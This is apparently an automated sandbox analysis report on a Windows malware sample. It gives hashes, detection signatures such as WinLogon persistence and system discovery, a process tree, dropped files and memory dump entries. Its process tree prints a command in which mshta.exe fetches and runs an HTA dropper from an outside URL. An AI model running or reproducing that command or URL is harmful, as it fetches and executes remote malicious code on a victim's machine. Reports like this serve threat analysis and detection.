Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 07:57

General

  • Target
    jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe
  • Size 1.1MB
  • Sample261002-jte5bada86
  • SHA256 78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://rerererererere.com/inst.php?id=forbidden

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_78098df38d2a8698b193097168fce8365b847c69e7c27787fd095c505f66676c.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Users\Admin\AppData\Roaming\z.exe
      "C:\Users\Admin\AppData\Roaming\z.exe" forbidden
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5516
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        PID:4160
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\cgdf.bat" "
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:4048
  • C:\Users\Admin\AppData\Roaming\palladium.exe
    C:\Users\Admin\AppData\Roaming\palladium.exe
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    PID:2948

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        cgdf.bat

        • Path C:\Users\Admin\AppData\Roaming\cgdf.bat
        • Size 114B
        • SHA256 76f3f38027d677cfd96cd90d0ffd13fda05eceb43c6be6de87ef1ac4b8d0afb1
        • MD5 SHA1 SHA512 TLSH

        z.exe

        • Path C:\Users\Admin\AppData\Roaming\z.exe
        • Size 560KB
        • SHA256 a40a18eb2fbbda0d443bc39895ba1e74529517248b5fc27bf6d81de454540cd9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2948-33-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/4076-1-0x0000000000451000-0x0000000000452000-memory.dmp

        memory/4076-0-0x0000000000A40000-0x0000000000A41000-memory.dmp

        memory/4076-14-0x0000000000400000-0x000000000051F000-memory.dmp

        memory/5516-37-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-40-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-17-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-34-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-35-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-36-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-15-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-38-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-39-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-18-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-41-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-42-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-43-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-44-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-45-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-46-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-47-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-48-0x0000000000400000-0x000000000082D000-memory.dmp

        memory/5516-49-0x0000000000400000-0x000000000082D000-memory.dmp